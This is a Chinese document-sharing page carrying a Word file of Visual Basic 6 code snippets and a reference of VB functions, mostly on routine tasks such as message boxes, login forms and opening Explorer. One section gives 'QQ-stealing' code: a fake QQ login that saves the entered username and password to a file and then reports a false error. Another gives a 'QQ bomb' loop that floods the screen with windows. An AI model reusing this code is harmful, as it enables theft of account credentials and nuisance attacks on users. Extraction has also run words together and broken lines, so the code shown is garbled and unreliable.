代码.docx
- 文档编号:23665726
- 上传时间:2023-05-19
- 格式:DOCX
- 页数:28
- 大小:26.89KB
代码.docx
《代码.docx》由会员分享,可在线阅读,更多相关《代码.docx(28页珍藏版)》请在冰豆网上搜索。
代码
:
打开快捷方式以及程序
SHELL"路径"
2:
打开硬盘或文件
Shell"explorerF:
",vbNormalFocus
3:
打开“我的电脑”“资源管理器”……
Shell"EXPLORER.EXE/n,/e,:
:
{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
4:
打开网页
SHELL"explorer.exe"
---------------------------------------------------------------
参数说明
/n表示以“我的电脑”方式打开一个新的窗口,通常打开的是Windows安装分区的根目录。
/e表示以“资源管理器”方式打开一个新的窗口,通常打开的也是Windows安装分区的根目录。
/root,[path]表示打开指定的文件夹,/root表示只显示指定文件夹下面的文件(夹),不显示其他磁盘分区和文件夹;[path]表示指定的路径。
如果不加/root参数,而只用[path]参数,则可以显示其他磁盘分区和文件夹中的内容。
另外,[path]还可以指定网络共享文件夹。
/select,[pathfilename]表示打开指定的文件夹并且选中指定的文件,[pathfilename]表示指定的路径和文件名。
如果不加/select参数,则系统会用相应的关联程序打开该文件。
如果[pathfilename]不跟文件名就会打开该文件夹的上级目录并选中该文件夹。
超级链接
PrivateSubLabel1_Click()
ShellExecutehWnd,"open","http:
//www.planet-source-",vbNullString,vbNullString,conSwNormal
EndSub
讲下一个
最小化
PrivateSubCommand2_Click()
Form1.WindowState=1
EndSub
这个很简单,就是设置一个按钮,好。
对了,顺便讲一下,关闭是最简单的end,好了,接着
IF判断句详解,这是编程里面最基本的语句,我做一个小例子,如如果想让显示出来的是星号
在这里设
IfText1.Text="463746790"Then这里就是设置的默认密码
MsgBox"注册码正确!
谢谢使用!
",,"系统提示"这是登陆成功的提示
UnloadMe
Else
这里是注册码不正确的时运行的命令,试一下,这是错误的效果;这是正确的效果
MsgBox"注册码错误。
请发送邮件到samsungyjl@",,"错误!
"
Text1.Text=""
Command3.Enabled=False
EndIf
EndSub
MsgBox"这里是消息的内容",,"这里是消息的标题"看到了吗?
MsgBox这个就是消息提示框,我讲一下用法
我们给退出做一个消息框这就是效果
下面的是关于qq的,在网上流传比较广了,
QQ炸弹代码:
PrivateSubForm_Load()
fori=1to1E+22
form1.show
form2.show
form3.show
form4.show
form5.show
nexti
endsub可以再运行前加一句话,这个我就不试了,要不教程没法作了
VB强行聊QQ
添加控件MicrosoftInternetControls
WebBrowser1visible设成false(隐藏)
聊QQ
PrivateSubCommand1_Click()
WebBrowser1.Navigate"Tencent:
//Message/?
Menu=YES&Exe=&Uin="&Text1.Text'
WebBrowser1.Stop'
EndSub
VB编写盗QQ软件
登陆代码
Open"c:
QQpass.txt"ForAppendAs#1
Print#1,user.Text
Print#1,pass.Text
Close#1
MsgBox"密码错误!
",16,"QQ"
退出end
申请号码
PrivateSubCommand1_Click()
MsgBox"你的申请QQ号码是:
"&Int(Rnd*1234567),,"QQ号码申请
VB常用代码
单击选中文本框中所有内容
PrivateSubtext1_Click()
text1.SelStart=0
text1.SelLength=65000
EndSub
-------------------------------------------------------------------------
打开一个超连接
PrivateDeclareFunctionShellExecuteLib"shell32.dll"Alias"ShellExecuteA"(ByValhwndAsLong,ByVallpOperationAsString,ByVallpFileAsString,ByVallpParametersAsString,ByVallpDirectoryAsString,ByValnShowCmdAsLong)AsLong
PrivateConstSW_SHOWNORMAL=1
PrivateConstSW_SHOWMINIMIZED=2
-------------------------------------------------------------------------
PrivateSubCommand1_Click()
CallShellExecute(Me.hwnd,"open","",vbNullString,vbNullString,SW_SHOWNORMAL)
EndSub
--------------------------------------------------------------------------
用相对路径打开程序
PrivateSubCommand1_Click()
Shell"Calc.exe",vbNormalFocus
EndSub
最简单登陆窗口及密码更改
用记事本编辑一名为config.txt的文本文件,里面输入初始密码,将其放入程序目录中
登陆窗口:
DimpasswordstrAsString'用户登录程序
PrivateSubCommand1_Click()
Open"config.txt"ForInputAs#1
DoWhileNotEOF
(1)
Input#1,passwordstr
Loop
Close#1
IfText1.Text=passwordstrThen
'输入正确
UnloadMe
index.Show
'index为输入正确后显示的正常窗口
Else'输入错误
x=MsgBox("用户密码输入错误!
请再输一次!
",17,"警告")
Text1.SetFocus
EndIf
Else
UnloadMe
EndIf
EndSub
-----------------------------
PrivateSubForm_Load()
Me.Move(Screen.Width-Me.Width)/2,(Screen.Height-Me.Height)/2
Show
Text1.SetFocus
EndSub
------------***********************-----------------
密码更改窗口:
PrivateSubCommand1_Click()'密码设置程序
IfText1.Text=Text2.TextThen
'确认两次输入密码是否一致
passwordstr="text2.text"
Open"config.txt"ForOutputAs#1
Print#1,Text1.Text
Close#1
UnloadMe
Else
x=MsgBox("密码输入错误!
请重新输入!
";,17,"警告")
Text2.SetFocus
EndIf
EndSub
---------------------------------------------
PrivateSubForm_Load()
Me.Move(Screen.Width-Me.Width)/2,(Screen.Height-Me.Height)/2
Show
Text1.SetFocus
EndSub
----------------------------------------------------------------
窗口退出相关
PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)
QuitMessage
EndSub
---------
PrivateSubQuitMessage()
QExit=MsgBox(_
"真的要退出吗?
",_
vbYesNo+vbQuestion,_
"提示...")
SelectCaseQExit
CasevbYes
End
CasevbNo
Cancel=NotReadyToQuit
EndSelect
EndSub
提示窗口:
MsgBox"提示内容",vbOKOnly,"提示..."
窗体卸载时相关
PrivateSubForm_Unload(CancelAsInteger)‘窗口卸载
SetForm1=Nothing‘完全卸载,如果用end或unload语句不能完全释放内存占用
End
EndSub
-----------------------------------------------
Msgbox强制换行(&vbCrLf&_语句)
MsgBox("换行吗?
"&vbCrLf&_
"是的,换行")
让标题栏上的关闭按钮失效
声明段:
PrivateDeclareFunctionGetSystemMenuLib"User32"(ByValhwndAsLong,ByValbRevertAsLong)AsLong
PrivateDeclareFunctionDeleteMenuLib"User32"(ByValhMenuAsLong,ByValnPositionAsLong,ByValwFlagsAsLong)AsLong
PrivateDeclareFunctionAppendMenuLib"User32"Alias"AppendMenuA"(ByValhMenuAsLong,ByValwFlagsAsLong,ByValwIDNewItemAsLong,ByVallpNewItemAsAny)AsLong
PrivateDeclareFunctionGetMenuStringLib"User32"Alias"GetMenuStringA"(ByValhMenuAsLong,ByValwIDItemAsLong,ByVallpStringAsString,ByValnMaxCountAsLong,ByValwFlagAsLong)AsLong
PrivateDeclareFunctionSendMessageLib"User32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong
ConstWM_NCLBUTTONDBLCLK=&HA3
ConstWM_NCLBUTTONDOWN=&HA1
ConstHTCAPTION=2
ConstMF_STRING=&H0&
ConstMF_BYCOMMAND=&H0&
ConstSC_CLOSE=&HF060
PrivatehMenuAsLong
PrivateCloseStrAsString
PrivateSubForm_Load()
hMenu=GetSystemMenu(Me.hwnd,0)
CloseStr=String(255,0)
'SC_CLOSE指的便是"关闭"的那一个MenuItemID
CallGetMenuString(hMenu,SC_CLOSE,CloseStr,256,MF_BYCOMMAND)
CloseStr=Left(CloseStr,InStr(1,CloseStr,Chr(0))-1)
CallDeleteMenu(hMenu,SC_CLOSE,MF_BYCOMMAND)
EndSub
打开/关闭光驱门
声明段
PrivateDeclareFunctionmciSendStringLib"winmm.dll"Alias"mciSendStringA"(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong
DimRetAsLong
DimRetStrAsString
'控制段(可用命令按钮等)
'打开代码
Ret=mciSendString("setCDAudiodooropen",RetStr,0,0)
'关闭代码
Ret=mciSendString("setCDAudiodoorclosed",RetStr,0,0)
避免多用户同时打开同一个程序
PrivateSubForm_Load()
IfApp.PrevInstanceThen
MsgBox"程序已经运行,不能再次装载",vbExclamation
UnloadMe
EndIf
EndSub
利用代码启动/关闭中文输入法
IMEMode属性。
例如Text1.IMEMode=1
---------------------------------------------------------
简单时间格式
PrivateSubTimer1_Timer()
Text1.text=Format(Now,"hh:
mm:
ss")
EndSub
窗口标题栏更改
me.caption=”我的窗口”
打开控制面板里的”添加/删除程序”
CallControlPanels("rundll32.exeshell32.dll,Control_RunDLLappwiz.cpl,,1")
清空回收站
PrivateDeclareFunctionSHEmptyRecycleBinLib"shell32.dll"Alias_
"SHEmptyRecycleBinA"(ByValhwndAsLong,ByValpszRootPathAsString,_
ByValdwFlagsAsLong)AsLong
PrivateDeclareFunctionSHUpdateRecycleBinIconLib"shell32.dll"()AsLong
PrivateConstSHERB_NOCONFIRMATION=&H1
PrivateConstSHERB_NOPROGRESSUI=&H2
PrivateConstSHERB_NOSOUND=&H4
PrivateSubCommand1_Click()
DimretvalAsLong'returnvalue
retval=SHEmptyRecycleBin(RecycleBin.hwnd,"",SHERB_NOPROGRESSUI)'清空回收站,确认
'若有错误出现,则返回回收站图示
Ifretval<>0Then'error
retval=SHUpdateRecycleBinIcon()
EndIf
EndSub
PrivateSubCommand2_Click()
DimretvalAsLong'returnvalue
'清空回收站,不确认
retval=SHEmptyRecycleBin(RecycleBin.hwnd,"",SHERB_NOCONFIRMATION)
'若有错误出现,则返回回收站图示
Ifretval<>0Then'error
retval=SHUpdateRecycleBinIcon()
EndIf
Command1_Click
EndSub
28.获得系统文件夹的路径
PrivateDeclareFunctionGetSystemDirectoryLib"kernel32"Alias_
"GetSystemDirectoryA"(ByVallpBufferAsString,ByValnSizeAsLong)AsLong
PrivateSubCommand1_Click()
DimsyspathAsString
Dimlen5AsLong
syspath=String(255,0)
len5=GetSystemDirectory(syspath,256)
syspath=Left(syspath,InStr(1,syspath,Chr(0))-1)
Debug.Print"SystemPath:
";syspath
EndSub
VB函数集合(摘自csdn)
(一)类型转换类函数
1.CType(X)
[格式]:
P=CBool(X)'将X转换为“布尔”(Boolean)类型
P=CByte(X)'将X转换为“字节”(Byte)类型
P=CCur(X)'将X转换为“金额”(Currency)类型
P=CDate(X)'将X转换为“日期”(Date)类型
P=CDbl(X)'将X转换为“双精度”(Double)类型
P=CInt(X)'将X转换为“整型”(Integer)类型
P=CLng(X)'将X转换为“长整型”(Long)类型
P=CSng(X)'将X转换为“单精度”(Single)类型
P=CStr(X)'将X转换为“字符串”(String)类型
P=Cvar(X)'将X转换为“变体型”(Variant)类型
P=CVErr(X)'将X转换为Error值
[范例]:
(1).CStr(13)+CStr(23)
'数值转换成字符串后,用"+"号连接,结果:
1323
(2).CInt("12")+12
'字符串转换成整型后与12相加,结果:
24
(3).P=CInt(True)
'输出结果为-1
'布尔值与数值的转换时要注意,布尔值只有True和False,其中True在内存中为-1,False存为0
(4).CBool(-0.001)
'输出结果为True
'将数值转换为布尔型时,等于0的数值将得到False,不等于0的数值得到True.
2.Int(X),Fix(X):
取X的整数值
[格式]:
P=Int(X)'取<=X的最大整数值
P=Fix(X)'取X的整数部分,直接去掉小数
[范例]:
(1)Int(-54.6)
'结果为-55,取<=-54.6的最大整数
(2)Fix(54.6)
'结果为54,取整数并直接去掉小数
(二)常用数学函数
[格式]:
1.Abs(N)取绝对值
例:
Abs(-3.5)结果:
3.5
2.Cos(N)余弦函数
例:
Cos(0)结果:
1
3.Exp(N)e为底的指数函数
例:
Exp(3)结果:
20.068
4.Log(N)以e为底的自然对数
例:
Log(10)结果:
2.3
5.Rnd[(N)]产生随机数
例:
Rnd结果:
0--1之间的数
6.Sin(N)正弦函数
例:
Sin(0)结果:
0
7.Sgn(N)符号函数
'说明:
取正负号。
Y=Sgn(X)既X>0则Y=1;X=0则Y=0;X<0则Y=-1
8.Sqr(N)平方根
例:
Sqr(9)结果:
3
9.Tan(N)正切函数
例:
Tan(0)结果:
0
10.Atn(N)反切函数
例:
Atn(0)结果:
0
[注意]:
在三角函数中,以弧度表示。
(一)字符串类函数:
1.ASC(X),Chr(X):
转换字符字符码
[格式]:
P=Asc(X)返回字符串X的第一个字符的字符码
P=Chr(X)返回字符码等于X的字符
[范例]:
(1)P=Chr(65)
‘输出字符A,因为A的ASCII码等于65
(2)P=Asc(“A”)
‘输出65
2.Len(X):
计算字符串X的长度
[格式]:
P=Len(X)
[说明]:
空字符串长度为0,空格符也算一个字符,一个中文字虽然占用2Bytes,但也算一个字符。
[范例]:
(1)令X=””(空字符串)
Len(X)输出结果为0
(2)令X=”abcd”
Len(X)输出结果为4
(3)令X=”VB教程”
Len(X)输出结果为4
3.Mid(X)函数:
读取字符串X中间的字符
[格式]:
P=Mid(X,n)
由X的第n个字符读起,读取后面的所有字符。
P=Mid(X,n,m)
由X的第n个字符读起,读取后面的m个字符。
[范例]:
(1)X=”abcdefg”
P=Mid(X,5)
结果为:
P=”efg”
(2)X=”abcdefg”
P=Mid(X,2,4)
结果为P=”bcde”
4.Replace:
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 代码